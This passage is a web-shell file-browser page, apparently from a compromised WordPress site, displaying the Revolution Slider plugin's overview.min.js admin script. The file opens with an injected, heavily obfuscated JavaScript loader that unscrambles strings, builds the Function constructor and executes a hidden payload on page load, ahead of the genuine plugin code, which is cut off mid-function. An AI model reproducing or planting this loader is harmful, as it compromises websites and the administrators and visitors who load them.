AlkantarClanX12

Your IP : 3.144.29.213


Current Path : /home/thanudqk/public_html/wp-content/plugins/revslider/admin/assets/js/modules/
Upload File :
Current File : /home/thanudqk/public_html/wp-content/plugins/revslider/admin/assets/js/modules/overview.min.js

var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp  i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e  !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83  c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();/*!
 * REVOLUTION 6.0.0 OVERVIEW JS
 * @version: 1.0 (01.07.2019)
 * @author ThemePunch
*/
function showPluginInfos(){}!function(){RVS.F.initOverView=function(){RVS.F.initAdmin(),RVS.C.rsOVM=jQuery("#rs_overview_menu"),RVS.S.ovMode=!0,RVS.F.initialiseInputBoxes("overview"),initLocalListeners(),jQuery("#plugin_history").RSScroll({wheelPropagation:!0,suppressScrollX:!1,minScrollbarLength:30}),sliderLibrary.output=jQuery("#existing_sliders"),sliderLibrary.sfw=jQuery("#slider_folders_wrap"),sliderLibrary.sfw.appendTo(jQuery(document.body)),sliderLibrary.sfwu=jQuery("#slider_folders_wrap_underlay"),sliderLibrary.backOneLevel=jQuery('<div id="back_one_folder" class="new_slider_block"><i class="material-icons">more_horiz</i><span class="nsb_title">Back</span></div>'),sliderLibrary.selectedFolder=-1,sliderLibrary.selectedPage=1,sliderLibrary.slidesContainer=jQuery(".overview_slide_elements"),updateParentAttributes(),sliderLibrary.filters=buildModuleFilters(),function(){window.ov_scroll_targets=[];var e=0;jQuery(".rso_scrollmenuitem").each(function(){void 0!==this.dataset.ref&&(window.ov_scroll_targets.push({obj:jQuery(this.dataset.ref),top:jQuery(this.dataset.ref).offset().top,height:jQuery(this.dataset.ref).height(),menu:jQuery(this),menu_js:this}),this.dataset.ostref=e,e++)}),jQuery("#adminmenuwrap").append('<div id="wpadmin_overlay"></div>'),jQuery("#wpcontent").append('<div id="wpadmin_overlay_top"></div>'),tpGS.gsap.to(["#wpadmin_overlay","#wpadmin_overlay_top"],.6,{opacity:1,ease:"power3.inOut"}),tpGS.gsap.to(["#adminmenuback","#adminmenuwrap","#wpadminbar"],.6,{filter:"grayscale(100%)",ease:"power3.inOut"}),jQuery("#adminmenuback, #adminmenuwrap, #wpadminbar").on("mouseenter",function(){tpGS.gsap.to(["#wpadmin_overlay","#wpadmin_overlay_top"],.3,{opacity:0,ease:"power3.inOut"}),tpGS.gsap.to(["#adminmenuback","#adminmenuwrap","#wpadminbar"],.6,{filter:"grayscale(0%)",ease:"power3.inOut"})}).on("mouseleave",function(){tpGS.gsap.to(["#wpadmin_overlay","#wpadmin_overlay_top"],.3,{opacity:1,ease:"power3.inOut"}),tpGS.gsap.to(["#adminmenuback","#adminmenuwrap","#wpadminbar"],.6,{filter:"grayscale(100%)",ease:"power3.inOut"})}),a(),s(),tpGS.gsap.to("#rs_overview_menu",1,{opacity:1,ease:"power3.out"})}(),RVS.F.updateDraw(),RVS.F.isActivated(),updateOVFilteredList(),updateSysChecks(),initBasics(),r(),RVS.F.handleDeactivatedwarning(),RVS.F.handleAddonsWarning(),RVS.F.activeNotActive(),RVS.ENV.updated&&RVS.F.welcome(),RVS.F.generateAttachmentMetaData(),checkAddOnVersions(),RVS.ENV.newTemplatesCounter=document.getElementById("new_templates_counter"),RVS.ENV.newAddonsCounter=document.getElementById("new_addons_counter");var e={i:0},i={i:0};void 0!==RVS.ENV.newTemplatesAmount&&RVS.ENV.newTemplatesAmount>0&&(tpGS.gsap.fromTo(e,Math.min(1.5,Math.max(.2,.02*RVS.ENV.newTemplatesAmount)),{i:0},{i:RVS.ENV.newTemplatesAmount,ease:"none",onUpdate:function(){RVS.ENV.newTemplatesCounter.innerHTML="+ "+Math.round(e.i)}}),RVS.ENV.newTemplatesCounter.style.display="block"),void 0!==RVS.ENV.newAddonsAmount&&RVS.ENV.newAddonsAmount>0&&(tpGS.gsap.fromTo(i,Math.min(1.5,Math.max(.2,.02*RVS.ENV.newAddonsAmount)),{i:0},{i:RVS.ENV.newAddonsAmount,ease:"none",onUpdate:function(){RVS.ENV.newAddonsCounter.innerHTML="+ "+Math.round(i.i)}}),RVS.ENV.newAddonsCounter.style.display="block");var t=RVS.F.getCookie("rs6_shortly_edited_slider")+"";if(void 0!==t&&t.length>0){RVS.F.setCookie("rs6_shortly_edited_slider","",0);var d=!1;for(var l in sliderLibrary.sliders)!1===d&&(d=sliderLibrary.sliders[l].id==t?sliderLibrary.sliders[l].parent:d);!1!==d&&-1!==d&&"-1"!==d&&RVS.F.changeOVToFolder(d)}RVS.F.notifications()},RVS.F.addonInstalledFromWarning=function(e,i){RVS.LIB.OBJ.addonsToInstall.splice(0,1),RVS.LIB.ADDONS[i].active=!0},RVS.F.installAddonOneByOne=function(){if(RVS.LIB.OBJ.addonsToInstall.length>0){var e=RVS.LIB.OBJ.addonsToInstall[0];RVS.F.ajaxRequest("activate_addon",{addon:e},function(i){void 0!==RVS.LIB.ADDONS&&void 0!==RVS.LIB.ADDONS[e]&&1==RVS.LIB.ADDONS[e].installed?(RVS.F.addonInstalledFromWarning(i,e),RVS.F.installAddonOneByOne()):(RVS.LIB.ADDONS[e].installed=!0,RVS.F.installAddonOneByOne())},void 0,void 0,RVS_LANG.installingaddon+'<br><span style="font-size:17px; line-height:25px;">'+RVS.LIB.OBJ.addonsToInstall[0]+"</span>")}else RVS.F.handleAddonsWarning(),RVS.F.notifications()},RVS.F.handleAddonsWarning=function(){if(RVS.ENV.activated){void 0===RVS.S.handleADDWAR&&(RVS.S.handleADDWAR=!0,RVS.C.addwarlist=document.getElementById("list_of_deactivated_addons"),RVS.DOC.on("click","#rbm_notactiveaddon_warning .rbm_close",function(){RVS.F.RSDialog.close(),RVS.S.addonWarningOpen=!1}),RVS.DOC.on("click",".de_add_fix",function(){RVS.LIB.OBJ.addonsToInstall=RVS.S.addFixRefList[this.dataset.fixref],RVS.F.installAddonOneByOne()}),RVS.DOC.on("click","#naa_install_all",function(){for(var e in RVS.LIB.OBJ.addonsToInstall=[],RVS.S.addFixRefList)if(RVS.S.addFixRefList.hasOwnProperty(e))for(var i in RVS.S.addFixRefList[e])RVS.S.addFixRefList[e].hasOwnProperty(i)&&-1==RVS.LIB.OBJ.addonsToInstall.indexOf(RVS.S.addFixRefList[e][i])&&RVS.LIB.OBJ.addonsToInstall.push(RVS.S.addFixRefList[e][i]);RVS.F.installAddonOneByOne()}),RVS.C.missingAddonLists=jQuery("#list_of_deactivated_addons").RSScroll({wheelPropagation:!0,suppressScrollX:!0,minScrollbarLength:100}));var e=RVS.F.createNotActivatedAddonsList();""!==e?(RVS.C.addwarlist.innerHTML=e,RVS.F.showAddonWarning(),RVS.C.missingAddonLists.RSScroll("update")):RVS.S.addonWarningOpen&&(RVS.S.addonWarningOpen=!1,RVS.F.RSDialog.close())}},RVS.F.createNotActivatedAddonsList=function(){var e,i,r,t,s="",a=0;for(e in RVS.S.addFixRefList={},sliderLibrary.sliders)if(a++,sliderLibrary.sliders.hasOwnProperty(e)&&void 0!==sliderLibrary.sliders[e].addons&&0!=sliderLibrary.sliders[e].addons.length){for(i in r="",t=0,RVS.S.addFixRefList[a]=[],sliderLibrary.sliders[e].addons)sliderLibrary.sliders[e].addons.hasOwnProperty(i)&&null!=RVS.LIB.ADDONS[sliderLibrary.sliders[e].addons[i]]&&(RVS.LIB.ADDONS[sliderLibrary.sliders[e].addons[i]].active&&RVS.LIB.ADDONS[sliderLibrary.sliders[e].addons[i]].installed||(r+=(t>0?", ":"")+RVS.LIB.ADDONS[sliderLibrary.sliders[e].addons[i]].title,RVS.S.addFixRefList[a].push(sliderLibrary.sliders[e].addons[i]),t++));""!=r&&(r.length>34&&(r=r.substring(0,31)+"..."),s+='<div class="deactivated_addon">',s+='<div class="de_add_stitle">'+sliderLibrary.sliders[e].alias+"</div>",s+='<div class="de_add_needs">'+RVS_LANG.needsd+"</div>",s+='<div class="de_add_needs_adds">'+r+"</div>",s+='<div class="de_add_fix" data-fixref="'+a+'">'+RVS_LANG.fix+"</div>",s+="</div>")}return s},RVS.F.showAddonWarning=function(){RVS.F.RSDialog.create({modalid:"#rbm_notactiveaddon_warning",bgopacity:.25}),RVS.S.addonWarningOpen=!0},RVS.F.handleDeactivatedwarning=function(){void 0===RVS.S.handleDEWAR&&(RVS.S.handleDEWAR=!0,RVS.DOC.on("click","#rbm_notactive_warning",function(){RVS.F.ajaxRequest("close_deregister_popup",{},function(e){},void 0,void 0,void 0,!0)}),RVS.ENV.deregisterPopup&&RVS.F.showDeactivatedWarning())},RVS.F.scrollToOvRegister=function(){s();var e={val:window.scroll_top};tpGS.gsap.to(e,.6,{val:window.ov_scroll_targets[2].top-200,onUpdate:function(){RVS.WIN.scrollTop(e.val)},ease:"power3.out"}),s()},RVS.F.showDeactivatedWarning=function(){RVS.F.RSDialog.create({modalid:"#rbm_notactive_warning",bgopacity:.25}),null==RVS.S.pwcandreg&&(RVS.DOC.on("click","#pb_closeandregister",function(){RVS.F.RSDialog.close(),RVS.F.scrollToOvRegister()}),RVS.DOC.on("click","#rbm_notactive_warning .rbm_close",function(){RVS.F.RSDialog.close()}),RVS.S.pwcandreg=!0)},RVS.F.getBackupList=function(){return RVS.F.ajaxRequest("get_v5_slider_list",{},function(e){e.success?console.log(e.slider):console.log("Response Error")},!1,!1,void 0,!0),"Getting Slide List from Backup Database..."},RVS.F.reImportBackup=function(e){return RVS.F.ajaxRequest("reimport_v5_slider",{id:e},function(e){console.log(e)},!1,!1,void 0,!0),"Importing Slider "+e+" from the Backup Database..."},RVS.F.setObjBg=function(e,i){var r=void 0!==e.bg.src&&e.bg.src.length>3?e.bg.src:RVS.ENV.plugin_url+"admin/assets/images/sources/"+e.source+".png",t=void 0!==e.bg.style?e.bg.style:{};switch(Array.isArray(t)&&(t=RVS.F.toObject(t)),e.bg.type){case"image":void 0!==t&&void 0!==t.css?t.css.backgroundImage="url("+r+")":void 0!==t&&(t.backgroundImage="url("+r+")"),tpGS.gsap.set(i,t);break;case"color":case"colored":case"solid":var s=window.RSColor.get(t["background-color"]);s.indexOf("gradient")>=0?tpGS.gsap.set(i,{backgroundImage:s}):tpGS.gsap.set(i,{backgroundColor:s});break;case"transparent":tpGS.gsap.set(i,{backgroundImage:"url("+RVS.ENV.plugin_url+"admin/assets/images/sources/"+e.source+".png)",backgroundRepeat:"no-repeat",backgroundSize:"cover"})}},RVS.F.notifications=function(){var e={0:"",1:"",2:""},i=2,r=jQuery("#rso_menu_notices"),t=document.getElementById("rs_notices_wrapper"),s=document.getElementById("rs_notice_bell"),a=document.getElementById("rs_notice_counter"),d=document.getElementById("rs_notice_the_bell"),l=new Array;t.innerHTML="",RVS.ENV.notices=void 0===RVS.ENV.notices?new Array:RVS.ENV.notices,RVS.ENV.noticeCache=void 0===RVS.ENV.noticeCache?RVS.ENV.notices.slice():RVS.ENV.noticeCache,RVS.ENV.notices=RVS.ENV.noticeCache.slice(),"true"!==RVS.ENV.activated&&!0!==RVS.ENV.activated&&RVS.ENV.notices.push({function:"registerPlugin",additional:[],code:"INTERN",disable:!0,icon:"style",is_global:!1,text:RVS_LANG.notRegNoAll,type:1}),void 0!==RVS.ENV.addOns_to_updateArray&&RVS.ENV.addOns_to_updateArray.length>0&&RVS.ENV.notices.push({function:"checkAddOnVersions",additional:[],code:"INTERN",disable:!0,icon:"extension",is_global:!1,text:RVS_LANG.addonsmustbeupdated,type:0}),RVS.F.compareVersion(RVS.ENV.latest_version,RVS.ENV.revision)>0&&RVS.ENV.notices.push({function:"updatePluginNow",additional:[],code:"INTERN",disable:!0,icon:"new_releases",is_global:!1,text:RVS_LANG.newVersionAvailable,type:1}),RVS.F.createNotActivatedAddonsList().length>0&&RVS.ENV.notices.push({function:"fixMissingAddons",additional:[],code:"INTERN",disable:!0,icon:"new_releases",is_global:!1,text:RVS_LANG.fixMissingAddons,type:1});var o=!1;for(var n in RVS.LIB.ADDONS)o||RVS.LIB.ADDONS[n].available>RVS.LIB.ADDONS[n].installed&&(o=!0,RVS.ENV.notices.push({function:"addonNotUptodate",additional:[],code:"INTERN",disable:!0,icon:"extension",is_global:!1,text:RVS_LANG.someAddonnewVersionAvailable,type:1}));var c=0;for(var n in RVS.S.advert=void 0===RVS.S.advert?[]:RVS.S.advert,RVS.ENV.notices)if("3"!==RVS.ENV.notices[n].type&&c++,"2"===RVS.ENV.notices[n].type&&l.push(RVS.ENV.notices[n].code),"3"!==RVS.ENV.notices[n].type){var u=void 0!==RVS.ENV.notices[n].function&&RVS.ENV.notices[n].function.length>0?"notification_function_"+RVS.ENV.notices[n].function:"no_notification_function";e[RVS.ENV.notices[n].type]+='<li data-code="'+RVS.ENV.notices[n].code+'" class="'+u+" notice_level_"+RVS.ENV.notices[n].type+'"><i class="material-icons">'+RVS.ENV.notices[n].icon+"</i>"+RVS.ENV.notices[n].text+"</li>",i=i>parseInt(RVS.ENV.notices[n].type)?parseInt(RVS.ENV.notices[n].type):i}else{var p=!1;for(var S in RVS.S.advert)RVS.S.advert[S].code==RVS.ENV.notices[n].code&&(p=!0);p||RVS.S.advert.push(jQuery.extend({},!0,RVS.ENV.notices[n]))}if(c>0){if(r.show(),e[0].length>0&&(t.innerHTML+=e[0]),e[1].length>0&&(t.innerHTML+=e[1]),e[2].length>0&&(t.innerHTML+=e[2]),s.classList.remove("notice_level_1"),s.classList.remove("notice_level_2"),s.classList.remove("notice_level_3"),a.classList.remove("notice_level_1"),a.classList.remove("notice_level_2"),a.classList.remove("notice_level_3"),s.className+=" notice_level_"+i,a.className+=" notice_level_"+i,a.innerHTML=c,t.innerHTML.length>0&&l.length>0&&(t.innerHTML+='<li id="remove_notifications" class="notice_level_2"><i class="material-icons">close</i>'+RVS_LANG.dismissmessages+"</li>"),jQuery(".notification_function_checkAddOnVersions").on("click",checkAddOnVersions),jQuery(".notification_function_registerPlugin").on("click",function(){RVS.F.scrollToOvRegister()}),jQuery(".notification_function_fixMissingAddons").on("click",function(){RVS.F.handleAddonsWarning()}),jQuery(".notification_function_addonNotUptodate").on("click",function(){RVS.S.addonPrefilter="action",RVS.F.openAddonModal()}),jQuery(".notification_function_updatePluginNow").on("click",function(){!0===RVS.ENV.activated?RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"update",title:RVS_LANG.updateplugin,maintext:RVS_LANG.areyousureupdateplugin,subtext:RVS_LANG.updatingtakes,do:{icon:"check_circle",text:RVS_LANG.updatenow,event:"updateThePlugin"},cancel:{icon:"cancel",text:RVS_LANG.cancel},swapbuttons:!0}):RVS.F.showRegisterSliderInfo()}),jQuery("#remove_notifications").on("click",function(){RVS.F.ajaxRequest("dismiss_dynamic_notice",{id:l},function(e){},!1,!1,void 0,!0)}),void 0===RVS.S.noticesListener){RVS.S.noticesListener=!0;var _=tpGS.gsap.timeline({repeat:-1});tpGS.CustomWiggle.create("myWiggle",{wiggles:8,type:"uniform"}),_.add(tpGS.gsap.to("#rs_notice_the_bell",.5,{transformOrigin:"50% 0%",x:5,rotationZ:10,ease:"myWiggle",onComplete:function(){d.innerHTML="notifications"},onStart:function(){d.innerHTML="notifications_active"}}),2)}}else r.hide();if(void 0!==RVS.S.advert&&RVS.S.advert.length>0)for(var y in RVS.S.advert)RVS.S.advert[y].id=void 0===RVS.S.advert[y].id?"rs_advert_"+Math.round(1e7*Math.random()):RVS.S.advert[y].id,null!==RVS.S.advert[y].container&&void 0!==RVS.S.advert[y].container||(jQuery("#rs_welcome_h3").after('<div style="display:block;position:relative;" id="'+RVS.S.advert[y].id+'"></div>'),RVS.S.advert[y].container=document.getElementById(RVS.S.advert[y].id),RVS.S.advert[y].container.innerHTML=RVS.S.advert[y].text,RVS.S.advert[y].mwrap=RVS.S.advert[y].container.getElementsByTagName("RS-MODULE-WRAP"),void 0===RVS.S.advert[y].mwrap[0]&&(RVS.S.advert[y].mwrap=RVS.S.advert[y].container),jQuery(RVS.S.advert[y].mwrap).append('<div id="rs_close_advert_'+y+'" data-ai="'+y+'" class="rs_close_advert" ><i class="material-icons">close</i>'+RVS_LANG.closeNews+"</div>"),RVS.S.advert[y].revmodule=RVS.S.advert[y].container.getElementsByTagName("RS-MODULE")[0],void 0!==RVS.S.advert[y].revmodule?(RVS.S.advert[y].rsoptions=JSON.parse(RVS.S.advert[y].script),jQuery("#"+RVS.S.advert[y].revmodule.id).show().revolutionInit(RVS.S.advert[y].rsoptions)):RVS.S.advert[y].mwrap.style.marginTop="50px",tpGS.gsap.fromTo(jQuery("#rs_close_advert_"+y),1,{opacity:0},{opacity:1,delay:2}),tpGS.gsap.set(RVS.S.advert[y].mwrap,{boxShadow:"0px 0px 0px 0px rgba(0,0,0,0.2)"}),tpGS.gsap.to(RVS.S.advert[y].mwrap,1,{boxShadow:"0px 0px 20px 10px rgba(0,0,0,0.2)",delay:2}),jQuery("#rs_close_advert_"+y).on("click",function(){tpGS.gsap.to(RVS.S.advert[this.dataset.ai].mwrap,1,{marginTop:0,marginBottom:0,overflow:"hidden",height:0,ease:"power3.inOut",onComplete:function(){RVS.S.advert[this.dataset.ai].container.innerHTML=""}}),tpGS.gsap.to(RVS.S.advert[this.dataset.ai].container,1,{autoAlpha:0});var e=new Array;e.push(RVS.S.advert[this.dataset.ai].code),RVS.F.ajaxRequest("dismiss_dynamic_notice",{id:e},function(e){},!1,!1,void 0,!0)}))},RVS.F.welcome=function(){RVS.F.dontShowTracking=!0,RVS.F.RSDialog.create({modalid:"rbm_welcomeModal",bgopacity:.85}),jQuery("#rbm_welcomeModal .rbm_close").on("click",RVS.F.RSDialog.close),RVS.ENV.activated?jQuery("#open_welcome_register_form").on("click",RVS.F.RSDialog.close):jQuery("#open_welcome_register_form").on("click",RVS.F.showRegisterSliderInfo)},RVS.F.changeOVToFolder=function(e){sliderLibrary.selectedFolder=e,resetAllOVFilters(),updateOVFilteredList()},RVS.F.getOVSliderIndex=function(e){var i=-1;for(var r in sliderLibrary.sliders)sliderLibrary.sliders.hasOwnProperty(r)&&sliderLibrary.sliders[r].id==e&&(i=r);return i},RVS.F.getOVSlideIndex=function(e,i){var r=-1;for(var t in sliderLibrary.slides[i])sliderLibrary.slides[i].hasOwnProperty(t)&&""+sliderLibrary.slides[i][t].id==""+e&&(r=t);return r},RVS.F.updateDraw=function(){RVS.F.compareVersion(RVS.ENV.latest_version,RVS.ENV.revision)>0?(jQuery("#available_version_icon").addClass("warning"),jQuery("#available_version_content").addClass("warning")):(jQuery("#available_version_icon").removeClass("warning"),jQuery("#available_version_content").removeClass("warning"))},RVS.F.isActivated=function(){"true"==RVS.ENV.activated||1==RVS.ENV.activated?(jQuery("#rs_register_to_unlock").text(RVS_LANG.premium_features_unlocked),jQuery("#purchasekey").val(RVS.ENV.code),RVS.ENV.allow_update?jQuery("#updateplugin").removeClass("halfdisabled").text(RVS_LANG.securityupdate):jQuery("#updateplugin").removeClass("halfdisabled").text(RVS_LANG.updateNow),jQuery("#activated_ornot_box").removeClass("not_activated").html('<i class="material-icons">done</i>'+RVS_LANG.registered),RVS.ENV.selling?jQuery("#activateplugin").text(RVS_LANG.deregisterKey):jQuery("#activateplugin").text(RVS_LANG.deregisterCode),RVS.ENV.selling?jQuery("#activateplugintitle").text(RVS_LANG.registeredlicensekey):jQuery("#activateplugintitle").text(RVS_LANG.registeredpurchasecode),jQuery("#purchasekey_wrap").addClass("activated"),jQuery(".activate_to_unlock").hide(),jQuery("#buynow_notregistered").hide()):(jQuery("#rs_register_to_unlock").text(RVS_LANG.register_to_unlock),jQuery("#purchasekey").val(),RVS.ENV.allow_update?jQuery("#updateplugin").removeClass("halfdisabled").text(RVS_LANG.securityupdate):jQuery("#updateplugin").addClass("halfdisabled").text(RVS_LANG.activateToUpdate),jQuery("#activated_ornot_box").addClass("not_activated").html('<i class="material-icons">do_not_disturb</i>'+RVS_LANG.notRegisteredNow),RVS.ENV.selling?jQuery("#activateplugin").text(RVS_LANG.registerKey):jQuery("#activateplugin").text(RVS_LANG.registerCode),RVS.ENV.selling?jQuery("#activateplugintitle").text(RVS_LANG.registerlicensekey):jQuery("#activateplugintitle").text(RVS_LANG.registerpurchasecode),jQuery("#purchasekey_wrap").removeClass("activated"),jQuery(".activate_to_unlock").show(),jQuery("#buynow_notregistered").show()),RVS.F.compareVersion(RVS.ENV.latest_version,RVS.ENV.revision)<=0&&!0!==RVS.ENV.allow_update?jQuery("#updateplugin").hide():jQuery("#updateplugin").show()},RVS.F.createNewFolder=function(e){d({keepOverlay:!1});var i=void 0!==e&&void 0!==e.foldername?{title:e.foldername}:{};-1!==sliderLibrary.selectedFolder&&(i.parentFolder=sliderLibrary.selectedFolder),RVS.F.ajaxRequest("create_slider_folder",i,function(i){i.folder.parent=sliderLibrary.selectedFolder,-1!==sliderLibrary.selectedFolder&&sliderLibrary.sliders[RVS.F.getOVSliderIndex(sliderLibrary.selectedFolder)].children.push(i.folder.id),i.success&&sliderLibrary.sliders.push(i.folder),resetAllOVFilters(),void 0!==e&&e.enter?(sliderLibrary.selectedFolder=i.folder.id,sliderLibrary.filters=buildModuleFilters()):(sliderLibrary.filters=buildModuleFilters(),jQuery("#slider_id_"+i.folder.id).addClass("selected")),i.success&&void 0!==e&&void 0!==e.callBack&&RVS.DOC.trigger(e.callBack,e.callBackParam)})};var e=function(e){var i='<div id="global_custom_font_row_'+e+'" class="global_custom_font_row">';return i+='<input type="text" style="width:180px; margin-right:20px;" data-r="globals.customFontList.'+e+'.family" class="easyinit globalinput" placeholder="ie. font-family-name">',i+='<input type="text" data-r="globals.customFontList.'+e+'.url" style="width:180px; margin-right:20px;" class="easyinit globalinput" placeholder="ie. https://customfont.css">',i+='<input type="text" style="width:180px; margin-right:20px;" data-r="globals.customFontList.'+e+'.weights" class="easyinit globalinput" placeholder="ie. 400,600,800">',i+='<div style="width:75px;margin-left:10px;display:inline-block"><input type="checkbox" class="easyinit globalinput" data-r="globals.customFontList.'+e+'.frontend"></div>',i+='<div style="width:75px;display:inline-block"><input type="checkbox" class="easyinit globalinput" data-r="globals.customFontList.'+e+'.backend"></div>',i+='<div data-todelete="'+e+'" class="deletecustomglobalfont basic_action_button onlyicon "><i class="material-icons">delete</i></div>',i+="</div>"},i=function(){var i,r="";for(RVS.S.glob_cus_fonts=void 0===RVS.S.glob_cus_fonts?jQuery("#global_custom_fonts"):RVS.S.glob_cus_fonts,i=0;i<RVS.SLIDER.globals.customFontList.length;i++)r+=e(i);RVS.S.glob_cus_fonts[0].innerHTML=r,RVS.C.rbgf=void 0===RVS.C.rbgf?jQuery("#rbm_globalfontsettings"):RVS.C.rbgf,RVS.F.initOnOff(RVS.C.rbgf),RVS.F.updateEasyInputs({container:RVS.C.rbgf,path:"",trigger:"init"})},r=function(e){void 0===RVS.C.trust&&(RVS.C.trust=document.getElementById("register_trustpilot_wrap"),RVS.DOC.on("click","#trust_closer, #trustpilotlink",function(){RVS.C.trust.dataset.state="close",RVS.F.ajaxRequest("deactivate_trustpilot",{},function(e){r("close")},void 0,void 0,void 0,!0)})),RVS.ENV.activated?void 0===e&&""===RVS.C.trust.dataset.state||void 0===RVS.C.trust.dataset.state?RVS.C.trust.style.display="block":"show"===RVS.C.trust.dataset.state||"show"===e?(RVS.C.trust.style.display="block",tpGS.gsap.fromTo(RVS.C.trust,.3,{marginBottom:0,paddingTop:0,paddingBottom:0,opacity:0,scaleY:0,overflow:"hidden"},{marginBottom:"100px",paddingTop:"30px",paddingBottom:"30px",opacity:1,scaleY:1}),RVS.C.trust.dataset.state="show"):"close"===RVS.C.trust.dataset.state||"close"===e?(tpGS.gsap.to(RVS.C.trust,.3,{marginBottom:0,paddingTop:0,paddingBottom:0,opacity:0,scaleY:0,overflow:"hidden",onComplete:function(){RVS.C.trust.style.display="none"}}),RVS.C.trust.dataset.state="close"):RVS.C.trust.style.display="none":RVS.C.trust.style.display="none"};function t(){for(var e in sliderLibrary.slidesOrder=void 0===sliderLibrary.slidesOrder?{}:sliderLibrary.slidesOrder,sliderLibrary.slidesOrder[sliderLibrary.selectedSlider]=new Array(500),sliderLibrary.slides[sliderLibrary.selectedSlider])sliderLibrary.slides[sliderLibrary.selectedSlider].hasOwnProperty(e)&&(sliderLibrary.slidesOrder[sliderLibrary.selectedSlider][parseInt(sliderLibrary.slides[sliderLibrary.selectedSlider][e].order,0)]=sliderLibrary.slides[sliderLibrary.selectedSlider][e].id)}function s(){window.scroll_top=RVS.WIN.scrollTop();var e=-1;for(var i in 